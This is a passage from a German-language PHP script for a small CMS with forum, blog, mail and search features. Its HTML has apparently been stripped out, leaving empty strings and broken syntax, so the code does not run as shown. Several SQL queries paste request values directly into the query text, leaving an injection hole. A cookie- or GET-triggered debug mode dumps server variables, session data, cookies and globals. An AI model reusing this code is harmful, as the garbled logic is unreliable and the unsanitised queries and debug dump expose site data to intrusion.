    '.((isset($post) and (!isset($post['question']) or !$post['question'] and !isset($post['myquestion']))) ? '*Persönliche Frage:' : '*Persönliche Frage:').'

    {answer|*Persönliche Antwort:|20|255|style=width:100%}
    {password,probate|*Neues Kennwort:|*20|64}{probate,password|*Kennwort wiederholen:|*20|64}
    '; # Suchformular if($request == 'Suche') { $usr = $sql['aq']($conn," select u.id as id, username as username, count(a.id) as acount, count(b.id) as bcount, ifnull(dcount,0) as dcount, count(f.id) as fcount, count(m.id) as mcount, max( ifnull(max(a.[create]),0), ifnull(max(d.ctime),0)) as time from ( select 0 as id, 'Unbekannt' as username union select id,username from [user] as u where status is not null) as u left join ( select user,count(*) as dcount,[create] as ctime from file where status ".(($status%4 == 0) ? '' : '<')."= 1 group by user) as d on u.id = d.user left join forum as a on u.id = a.userid and a.status".(($status%4 == 0) ? "%2 = 0" : " is not null")." left join forum as b on a.id = b.id and b.mailid = b.userid left join forum as f on a.id = f.id and f.mailid is null left join forum as m on a.id = m.id and m.mailid is not null and m.mailid != m.userid ".(($status/2%2) ? '' : str_replace('x',(($uid) ? $uid : 0),"and (m.mailid = x or m.userid = x)"))." group by u.id having acount > 0 or dcount > 0 order by username"); $wrt = array('b' => 0, 'd' => 0, 'f' => 0, 'm' => 0); $array = array(); $val = 0; foreach($usr as $key => $var) { $usr[$key] = ""; $array[$var['id']] = $var['id']; if($val < $a = strtotime($var['time'])) $val = $a; foreach(array_keys($wrt) as $a) { $array[$var['id']] .= ','.$var[$a.'count']; if($var[$a.'count']) $wrt[$a] += $var[$a.'count']; } } $rows = array(); if($wrt['b']) $rows[] = ""; if($var = $sql['sq']($conn,"select count(*) from [cms] where status/8%2".(($status/2%2) ? "" : " and status/2%4 <= ".($status/2%2 + $status%2*2)))) $rows[] = ""; if($wrt['d']) $rows[] = ""; if($wrt['f']) $rows[] = ""; if($wrt['m']) $rows[] = ""; $line = array(); foreach(array(1,2,3,5,10,20,25,50,75,100) as $var) $line[] = ""; $out .= "
    Suche " .((count($rows)) ? "" : "") .((count($usr) > 1) ? "" : "") ."'; else unset($val[$key]); $row = array(); foreach($_SERVER as $key => $var) if(preg_match('/^(HTTP|RE(MOTE|QUEST|DIRECT))_|_(INFO|UR[IL])$/',$key) or $leak === 1) $row[$key] = $var; ksort($row); $out .= "Debug-Tabelle:
    Suchbegriff:" .((isset($_SESSION['lua']) and strtotime($_SESSION['lua']) < $val) ? " " : "") .(($status/2%2) ? " Gelöschtes Suchen" : "") ."
    Ort
    Benutzer
    Max
    ".@preg_replace(array_keys($creole),array_values($creole),"**++Suchhilfe:++** |100% |=Suchbegriff |=findet |=findet nicht |=Beschreibung | |@@<\n") .(($head) ? implode("\n",$head)."\n" : '')."".(($logo) ? "Logo" : "")."

    $title

    Startseite" .(($sql and $content and $status/2%2) ? " / CMS" : "") .((preg_match('/^([\w.-]+)\s?$/',$request,$var)) ? " / $var[1]" : "") .(($sql and $request == 'CMS' and isset($_GET['id']) and $id and count($_POST)) ? " (edit)" : "") .(($sql and $content and ($status/2%2 or $status%4 == 1 and $sql['sq']($conn,"select status/2%4 from [cms] where name like '".trim($request)."'") >= 2 )) ? " (edit)" : (($path and $mid and preg_match("!^/$request/([\w.-]+)$!",$path,$var)) ? " / $var[1]" : '')) ."".implode(' | ',array_unique(preg_replace('/(\w+).*/',"$1", (($sql and ($local or $inet or $uid)) ? array_merge((array)$sql['sq']($conn,"select name from [cms] where name like '_%' and status%2 = 1 and status/2%4 <= ".($status/2%2 + $status%2*2)." order by name"), ((is_array($content)) ? array_keys($content) : array()), (($uid and $status/2%2 and !$sql['sq']($conn,'select count(*) from forum where status is not null and mailid is not null')) ? array('CMS') : array()), (($imps or $uid and $status/2%2) ? array('Impressum') : array()), (($user and !$lone) ? array('Mitglieder') : array()), (($var = $sql['aq']($conn," select count(*),count(b.id) from forum as a left join forum as b on a.id = b.id and ".(($uid) ? "b.userid = $uid" : "b.id is null")." where a.mailid = a.userid and a.status is not null".(($uid) ? "" : " and a.status%2 = 0")) and $var[0][0]) ? array("Blog".(($var[0][1]) ? "/$line[username]" : "")) : array()), array("Suche?$getopt")) : array('Impressum'))))).((isset($_SESSION['uid']) and $uid) ? (($request == 'Chat' or $status%2 and $sql['sq']($conn," select count(*) from user where status%2 = 1 and id != $uid")) ? " | Chat" : '')." | Datei".(($sql['sq']($conn," select count(*) from forum where mailid != userid and (userid = $uid or mailid = $uid)")) ? " | Mail".preg_replace('!(\d+)(?=/)!',"\$1",(($var = $sql['sq']($conn," select ifnull(nullif(count(*)-count(r.id),0)||'/','')||count(*) from [forum] as f left join [forum] as r on r.id = f.id and r.status/2%2 = 1 where f.status is not null and f.mailid = $uid and f.mailid != f.userid")) ? " ($var)" : "")) : '')." | Profil von $val | Abmelden" : '')."

    ".preg_replace('/(?)$/',"
    ",strtr($out,$uml)) ."
    © $date by $author
    "; # Datenbank schließen if($sql and $conn) $sql['cl']($conn); # Debug Ausgabe if(($leak or $status/2%2 or $leak === 1) and (!$sql and isset($debug) or $request == 'Debug' or isset($_COOKIE['debug']) and $_COOKIE['debug'])) { if(isset($_COOKIE['debug']) and $_COOKIE['debug']) { if($request == 'Debug') setcookie('debug',0,time()-$ctl,$self); } elseif($sql) setcookie('debug',1,0,$self); $out .= ""); if($var = ($leak === 1 and isset($_GET['GLOBALS'])) or isset($debug) or isset($sql['log']) or function_exists('error_get_last') and $val = error_get_last()) $out .= "Debuginfos: |
    "; if(isset($_SESSION)) // Keine Fremden Sessiondaten anzeigen foreach($_SESSION as $key => $var) if(preg_match($dpsk,$key) or $leak === 1) $__SESSION[$key] = $var; $html = array_merge($html,array("\n" => "
    ", " " => " ")); $val = array('GET','POST','FILES','COOKIE','_SESSION'); foreach($val as $key => $var) if(isset(${"_$var"}) and count(${"_$var"}) > 0) $val[$key] = str_replace('_','',"
    $var
    ".((count($val) > 0) ? implode('',$val).""; } # End of Line @header('Content-Type: text/html; charset=UTF-8'); die("$out"); ?>